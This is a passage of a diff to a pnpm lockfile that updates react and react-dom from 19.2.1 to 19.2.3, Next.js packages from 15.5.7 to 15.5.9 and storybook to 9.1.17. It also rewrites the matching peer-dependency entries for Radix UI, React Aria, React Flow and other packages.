-      '@floating-ui/react': 0.27.16(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@lexical/devtools-core': 0.38.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      '@floating-ui/react': 0.27.16(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@lexical/devtools-core': 0.38.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@lexical/dragon': 0.38.2
       '@lexical/extension': 0.38.2
       '@lexical/hashtag': 0.38.2
@@ -11017,9 +11035,9 @@ snapshots:
       '@lexical/utils': 0.38.2
       '@lexical/yjs': 0.38.2(yjs@13.6.27)
       lexical: 0.38.2
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      react-error-boundary: 6.0.0(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      react-error-boundary: 6.0.0(react@19.2.3)
     transitivePeerDependencies:
       - yjs
 
@@ -11099,11 +11117,11 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  '@mdx-js/react@3.1.1(@types/react@19.2.7)(react@19.2.1)':
+  '@mdx-js/react@3.1.1(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
       '@types/mdx': 2.0.13
       '@types/react': 19.2.7
-      react: 19.2.1
+      react: 19.2.3
 
   '@mermaid-js/parser@0.6.3':
     dependencies:
@@ -11113,12 +11131,12 @@ snapshots:
     dependencies:
       state-local: 1.0.7
 
-  '@monaco-editor/react@4.7.0(monaco-editor@0.55.1)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@monaco-editor/react@4.7.0(monaco-editor@0.55.1)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@monaco-editor/loader': 1.5.0
       monaco-editor: 0.55.1
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
   '@mswjs/interceptors@0.39.8':
     dependencies:
@@ -11138,25 +11156,25 @@ snapshots:
 
   '@neoconfetti/react@1.0.0': {}
 
-  '@next/bundle-analyzer@15.5.7':
+  '@next/bundle-analyzer@15.5.9':
     dependencies:
       webpack-bundle-analyzer: 4.10.1
     transitivePeerDependencies:
       - bufferutil
       - utf-8-validate
 
-  '@next/env@15.5.7': {}
+  '@next/env@15.5.9': {}
 
-  '@next/eslint-plugin-next@15.5.7':
+  '@next/eslint-plugin-next@15.5.9':
     dependencies:
       fast-glob: 3.3.1
 
-  '@next/mdx@15.5.7(@mdx-js/loader@3.1.1(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3)))(@mdx-js/react@3.1.1(@types/react@19.2.7)(react@19.2.1))':
+  '@next/mdx@15.5.9(@mdx-js/loader@3.1.1(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3)))(@mdx-js/react@3.1.1(@types/react@19.2.7)(react@19.2.3))':
     dependencies:
       source-map: 0.7.6
     optionalDependencies:
       '@mdx-js/loader': 3.1.1(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
-      '@mdx-js/react': 3.1.1(@types/react@19.2.7)(react@19.2.1)
+      '@mdx-js/react': 3.1.1(@types/react@19.2.7)(react@19.2.3)
 
   '@next/swc-darwin-arm64@15.5.7':
     optional: true
@@ -11441,10 +11459,10 @@ snapshots:
       '@parcel/watcher-win32-x64': 2.5.1
     optional: true
 
-  '@pivanov/utils@0.0.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@pivanov/utils@0.0.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
   '@pkgr/core@0.2.9': {}
 
@@ -11479,235 +11497,235 @@ snapshots:
 
   '@radix-ui/primitive@1.1.3': {}
 
-  '@radix-ui/react-compose-refs@1.1.2(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-compose-refs@1.1.2(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@radix-ui/react-context@1.1.2(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-context@1.1.2(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@radix-ui/react-dialog@1.1.15(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@radix-ui/react-dialog@1.1.15(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@radix-ui/primitive': 1.1.3
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-context': 1.1.2(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@radix-ui/react-focus-guards': 1.1.3(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@radix-ui/react-id': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-portal': 1.1.9(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@radix-ui/react-presence': 1.1.5(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@radix-ui/react-slot': 1.2.3(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.2.7)(react@19.2.1)
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-context': 1.1.2(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@radix-ui/react-focus-guards': 1.1.3(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@radix-ui/react-id': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-portal': 1.1.9(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@radix-ui/react-presence': 1.1.5(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@radix-ui/react-slot': 1.2.3(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.2.7)(react@19.2.3)
       aria-hidden: 1.2.6
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      react-remove-scroll: 2.7.2(@types/react@19.2.7)(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      react-remove-scroll: 2.7.2(@types/react@19.2.7)(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
       '@types/react-dom': 19.2.3(@types/react@19.2.7)
 
-  '@radix-ui/react-dismissable-layer@1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@radix-ui/react-dismissable-layer@1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@radix-ui/primitive': 1.1.3
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-use-escape-keydown': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-use-escape-keydown': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
       '@types/react-dom': 19.2.3(@types/react@19.2.7)
 
-  '@radix-ui/react-focus-guards@1.1.3(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-focus-guards@1.1.3(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@radix-ui/react-focus-scope@1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@radix-ui/react-focus-scope@1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
       '@types/react-dom': 19.2.3(@types/react@19.2.7)
 
-  '@radix-ui/react-id@1.1.1(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-id@1.1.1(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
+      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@radix-ui/react-portal@1.1.9(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@radix-ui/react-portal@1.1.9(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
       '@types/react-dom': 19.2.3(@types/react@19.2.7)
 
-  '@radix-ui/react-presence@1.1.5(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@radix-ui/react-presence@1.1.5(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
       '@types/react-dom': 19.2.3(@types/react@19.2.7)
 
-  '@radix-ui/react-primitive@2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@radix-ui/react-primitive@2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-slot': 1.2.3(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      '@radix-ui/react-slot': 1.2.3(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
       '@types/react-dom': 19.2.3(@types/react@19.2.7)
 
-  '@radix-ui/react-primitive@2.1.4(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@radix-ui/react-primitive@2.1.4(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-slot': 1.2.4(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      '@radix-ui/react-slot': 1.2.4(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
       '@types/react-dom': 19.2.3(@types/react@19.2.7)
 
-  '@radix-ui/react-slot@1.2.3(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-slot@1.2.3(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@radix-ui/react-slot@1.2.4(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-slot@1.2.4(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@radix-ui/react-use-callback-ref@1.1.1(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-use-callback-ref@1.1.1(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@radix-ui/react-use-controllable-state@1.2.2(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-use-controllable-state@1.2.2(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-use-effect-event': 0.0.2(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
+      '@radix-ui/react-use-effect-event': 0.0.2(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@radix-ui/react-use-effect-event@0.0.2(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-use-effect-event@0.0.2(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
+      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@radix-ui/react-use-escape-keydown@1.1.1(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-use-escape-keydown@1.1.1(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      react: 19.2.1
+      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@radix-ui/react-use-layout-effect@1.1.1(@types/react@19.2.7)(react@19.2.1)':
+  '@radix-ui/react-use-layout-effect@1.1.1(@types/react@19.2.7)(react@19.2.3)':
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  '@react-aria/focus@3.21.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@react-aria/focus@3.21.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@react-aria/interactions': 3.25.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@react-aria/utils': 3.31.0(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@react-types/shared': 3.32.1(react@19.2.1)
+      '@react-aria/interactions': 3.25.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@react-aria/utils': 3.31.0(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@react-types/shared': 3.32.1(react@19.2.3)
       '@swc/helpers': 0.5.17
       clsx: 2.1.1
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
-  '@react-aria/interactions@3.25.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@react-aria/interactions@3.25.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@react-aria/ssr': 3.9.10(react@19.2.1)
-      '@react-aria/utils': 3.31.0(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      '@react-aria/ssr': 3.9.10(react@19.2.3)
+      '@react-aria/utils': 3.31.0(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@react-stately/flags': 3.1.2
-      '@react-types/shared': 3.32.1(react@19.2.1)
+      '@react-types/shared': 3.32.1(react@19.2.3)
       '@swc/helpers': 0.5.17
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
-  '@react-aria/ssr@3.9.10(react@19.2.1)':
+  '@react-aria/ssr@3.9.10(react@19.2.3)':
     dependencies:
       '@swc/helpers': 0.5.17
-      react: 19.2.1
+      react: 19.2.3
 
-  '@react-aria/utils@3.31.0(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@react-aria/utils@3.31.0(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@react-aria/ssr': 3.9.10(react@19.2.1)
+      '@react-aria/ssr': 3.9.10(react@19.2.3)
       '@react-stately/flags': 3.1.2
-      '@react-stately/utils': 3.10.8(react@19.2.1)
-      '@react-types/shared': 3.32.1(react@19.2.1)
+      '@react-stately/utils': 3.10.8(react@19.2.3)
+      '@react-types/shared': 3.32.1(react@19.2.3)
       '@swc/helpers': 0.5.17
       clsx: 2.1.1
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
   '@react-stately/flags@3.1.2':
     dependencies:
       '@swc/helpers': 0.5.17
 
-  '@react-stately/utils@3.10.8(react@19.2.1)':
+  '@react-stately/utils@3.10.8(react@19.2.3)':
     dependencies:
       '@swc/helpers': 0.5.17
-      react: 19.2.1
+      react: 19.2.3
 
-  '@react-types/shared@3.32.1(react@19.2.1)':
+  '@react-types/shared@3.32.1(react@19.2.3)':
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
 
-  '@reactflow/background@11.3.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@reactflow/background@11.3.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       classcat: 5.0.5
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)
     transitivePeerDependencies:
       - '@types/react'
       - immer
 
-  '@reactflow/controls@11.2.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@reactflow/controls@11.2.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       classcat: 5.0.5
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)
     transitivePeerDependencies:
       - '@types/react'
       - immer
 
-  '@reactflow/core@11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@reactflow/core@11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@types/d3': 7.4.3
       '@types/d3-drag': 3.0.7
@@ -11717,55 +11735,55 @@ snapshots:
       d3-drag: 3.0.0
       d3-selection: 3.0.0
       d3-zoom: 3.0.0
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)
     transitivePeerDependencies:
       - '@types/react'
       - immer
 
-  '@reactflow/minimap@11.7.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@reactflow/minimap@11.7.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@types/d3-selection': 3.0.11
       '@types/d3-zoom': 3.0.8
       classcat: 5.0.5
       d3-selection: 3.0.0
       d3-zoom: 3.0.0
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)
     transitivePeerDependencies:
       - '@types/react'
       - immer
 
-  '@reactflow/node-resizer@2.2.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@reactflow/node-resizer@2.2.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       classcat: 5.0.5
       d3-drag: 3.0.0
       d3-selection: 3.0.0
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)
     transitivePeerDependencies:
       - '@types/react'
       - immer
 
-  '@reactflow/node-toolbar@1.3.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@reactflow/node-toolbar@1.3.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       classcat: 5.0.5
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      zustand: 4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)
     transitivePeerDependencies:
       - '@types/react'
       - immer
 
-  '@remixicon/react@4.7.0(react@19.2.1)':
+  '@remixicon/react@4.7.0(react@19.2.3)':
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
 
   '@rgrove/parse-xml@4.2.0': {}
 
@@ -11846,12 +11864,12 @@ snapshots:
 
   '@sentry/core@8.55.0': {}
 
-  '@sentry/react@8.55.0(react@19.2.1)':
+  '@sentry/react@8.55.0(react@19.2.3)':
     dependencies:
       '@sentry/browser': 8.55.0
       '@sentry/core': 8.55.0
       hoist-non-react-statics: 3.3.2
-      react: 19.2.1
+      react: 19.2.3
 
   '@sinclair/typebox@0.27.8': {}
 
@@ -11865,38 +11883,40 @@ snapshots:
     dependencies:
       '@sinonjs/commons': 3.0.1
 
-  '@storybook/addon-docs@9.1.13(@types/react@19.2.7)(storybook@9.1.13(@testing-library/dom@10.4.1))':
+  '@standard-schema/utils@0.3.0': {}
+
+  '@storybook/addon-docs@9.1.13(@types/react@19.2.7)(storybook@9.1.17(@testing-library/dom@10.4.1))':
     dependencies:
-      '@mdx-js/react': 3.1.1(@types/react@19.2.7)(react@19.2.1)
-      '@storybook/csf-plugin': 9.1.13(storybook@9.1.13(@testing-library/dom@10.4.1))
-      '@storybook/icons': 1.6.0(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@storybook/react-dom-shim': 9.1.13(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(storybook@9.1.13(@testing-library/dom@10.4.1))
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      '@mdx-js/react': 3.1.1(@types/react@19.2.7)(react@19.2.3)
+      '@storybook/csf-plugin': 9.1.13(storybook@9.1.17(@testing-library/dom@10.4.1))
+      '@storybook/icons': 1.6.0(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
